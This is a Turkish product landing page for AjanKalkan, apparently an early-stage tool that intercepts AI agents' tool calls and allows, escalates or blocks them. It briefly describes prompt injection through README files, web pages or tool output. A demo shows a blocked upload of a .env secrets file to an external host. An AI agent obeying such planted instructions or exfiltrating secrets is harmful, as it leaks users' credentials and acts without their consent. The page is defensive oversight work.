AI ajanları için güvenlik katmanı

Ajana yetki verin.
Kontrolü kaybetmeyin.

AjanKalkan, yapay zekâ ajanlarının dosya, komut ve kurumsal sistemler üzerindeki işlemlerini çalıştırılmadan önce değerlendirir.

6güvenlik kuralı
3karar türü
3doğrulanan senaryo
AJAN İŞLEM İSTEĞİ
Araçnetwork.upload
Hedefunknown.example/upload?file=.env
AK-002ENGELLENDİ

Hassas verinin harici hedefe aktarılma riski tespit edildi.

Sorun

Ajanlar artık gerçek işlem yapıyor

Bir web sayfası, doküman veya araç çıktısı ajanın bağlamına girerek yetkili bir işlemi tetikleyebilir. Geleneksel erişim kontrolleri doğal dille başlayan bu zinciri açıklamakta zorlanır.

01

Geniş yetki

Kodlama ajanları dosya okuyabilir, komut çalıştırabilir ve harici servislere bağlanabilir.

02

Güvenilmeyen bağlam

Zararlı talimatlar README, web içeriği veya araç çıktısında gizlenebilir.

03

Eksik denetim

Kurumların hangi ajanın hangi aracı, hangi veriyle kullandığını açıklayabilmesi gerekir.

Ürün

Her araç çağrısından önce tek kontrol noktası

AjanKalkan işlem isteğini politika motoruna alır. Düşük riskli işlemler devam eder; belirsiz işlemler insan onayına gider; yasak işlemler engellenir ve kaydedilir.

Yapay zekâ ajanı

Kullanıcının talebini yerine getirmek için araç çağrısı üretir.

  • Dosya sistemi
  • Shell komutu
  • Harici API
→
AjanKalkan

Araç, eylem, hedef ve bağlamı birlikte değerlendirir.

  • Deterministik politika
  • Risk sınıflandırması
  • Olay kaydı
→
Güvenli karar

İşlem yürütülmeden önce uygulanabilir bir sonuç üretir.

  • İzin ver
  • İnsan onayı iste
  • Engelle
Çalışan MVP

Karar motoru tarayıcıda doğrulandı

Mevcut demonstratör üç hazır senaryoyu altı güvenlik kuralı üzerinden değerlendiriyor. Kararlar yerel olay kaydına yazılıyor ve JSON olarak dışa aktarılabiliyor.

ALLOWGüvenli kaynak kodu okuma
BLOCK.env dosyasına erişim
BLOCKHarici hassas veri aktarımı
JSONDışa aktarılabilir olay kaydı
AjanKalkan MVP karar ekranı
Hedef pazar

İlk odak yazılım ekipleri

Ürün, AI kodlama ajanlarına kontrollü yetki vermek isteyen ekiplerle başlayacak ve entegrasyon olgunlaştıkça düzenlemeye tabi sektörlere genişleyecek.

Başlangıç

Yazılım şirketleri

Claude Code, Codex ve benzeri araçları kullanan geliştirme ekipleri.

İkinci aşama

Fintek ve teknoloji

Merkezi politika, onay ve denetim kaydı ihtiyacı bulunan kuruluşlar.

Uzun vadede

Kritik sektörler

Savunma, kamu ve kritik altyapı için kapalı ağ kurulumu.

Yol haritası

MVP'den kurumsal ürüne

Mevcut demonstratör karar motorunu doğruluyor. Sonraki adım canlı ajan bağlantıları ve pilot kullanımla gerçek iş akışlarında ölçüm yapmak.

MVP doğrulama

Canlı ajan bağlantıları, 25 politika ve saldırı test seti.

Pilot doğrulama

Yazılım ekipleriyle kullanılabilirlik testi ve karar kalitesi ölçümü.

Kurumsal sürüm

Merkezi yönetim, on-premise dağıtım ve SIEM entegrasyonu.

Sık sorulanlar

AjanKalkan hakkında

Ürün hangi aşamada?

AjanKalkan prototip/MVP aşamasındadır. Tarayıcı tabanlı çalışan demonstratör karar motorunu, altı güvenlik kuralını ve olay kayıt akışını göstermektedir.

Canlı Claude Code veya MCP entegrasyonu var mı?

Henüz yok. Canlı ajan bağlantıları ürün yol haritasının ilk geliştirme adımıdır. Site yalnızca bugün çalışan kapsamı anlatmaktadır.

Hangi işlemler kontrol edilecek?

İlk ürün kapsamı dosya sistemi, shell komutları, Git işlemleri ve harici veri aktarımı üzerinde yoğunlaşmaktadır.

Kurumsal kurulum nasıl olacak?

Hedef mimari; bulut seçeneğinin yanında kapalı ağ ve on-premise kurulum desteği sunmaktır.

Güvenli ajan kullanımını birlikte doğrulayalım

Pilot görüşmesi, teknik geri bildirim veya iş birliği için iletişime geçin.

altindaggmuhammet@gmail.com